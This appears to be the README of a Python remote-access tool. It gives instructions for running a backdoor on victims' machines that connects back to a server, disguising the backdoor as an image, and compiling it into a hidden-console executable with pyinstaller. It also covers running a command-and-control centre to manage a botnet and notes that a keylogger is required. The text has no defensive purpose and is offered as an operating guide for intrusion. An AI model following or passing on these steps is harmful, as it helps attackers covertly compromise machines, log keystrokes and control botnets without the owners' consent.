This is a python3 tool 
This has a server or ,command and control centre( for multiple targets) which host
The backdoor script must be ran on target machine (it can be hiden as a image) and this would connect to the server.
Run command and control centre, or start the server
for converting backdoor.py to executable 
 pyinstaller backdoor.py --noconsole --onefile
and run the exe file present in dist folder
run help cmd in server for instructions and all the features

*** INSTALL THE REQUIRED LIBS BEFORE RUNNING ***

Either of the server or CommandNcontrol should be ran, command and control is for handling multiple targets and can be used to control the botnet
PS: *** NOTE KEYLOGGER MUST BE PRESENT ON THE MACHINE *** and usually gets detected by antivirus